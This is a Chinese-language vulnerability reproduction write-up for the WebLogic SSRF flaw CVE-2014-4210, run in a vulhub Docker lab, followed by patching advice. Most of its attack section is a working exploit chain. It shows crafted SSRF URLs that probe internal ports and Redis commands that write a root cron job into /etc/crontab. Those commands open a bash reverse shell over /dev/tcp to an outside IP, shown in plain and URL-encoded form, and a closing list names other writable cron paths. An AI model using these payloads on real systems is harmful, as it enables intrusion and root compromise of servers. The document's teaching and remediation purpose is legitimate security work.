Weblogic SSRF漏洞（CVE-2014-4210）

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所属分类：漏洞复现

摘要

weblogic中存在SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。

0x01 简介

weblogic中存在SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。

0x02 影响版本

weblogic 10.0.2 – 10.3.6版本

0x03漏洞环境

https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

启动：

docker-compose up -d

1	docker-compose up -d

0x04漏洞复现

http://192.168.153.134:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:1234

1	http://192.168.153.134:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:1234

http://192.168.153.134:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

1	http://192.168.153.134:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

探测到存在端口提示404错误

0x05探测内网，利用redis反弹shell

http://192.168.153.134:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.3:6379

1	http://192.168.153.134:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.3:6379

发送三条redis命令，将弹shell脚本写入/etc/crontab

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/公网ip/port 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/公网ip/port 0>&1\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save

进行url编码：

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F210%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

1	test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%20%20%20%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F210%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

注意，换行符是“\r\n”，也就是“%0D%0A”。
将url编码后的字符串放在ssrf的域名后面，发送：

http://192.168.153.134:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.3:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F106.53.91.134%2F6666%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

http://192.168.153.134:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.3:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F106.53.91.134%2F6666%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

0x06反弹shell

0x07修复建议

1.如果业务不需要UDDI功能，就关闭这个功能。可以删除uddiexporer文件夹，可以可在/web在/weblogicPath/server/lib/uddiexplorer.war解压后，注释掉上面的jsp再打包。

2.安装oracle的更新包。http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html

0x08补充：

最后补充一下，可进行利用的cron有如下几个地方：
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件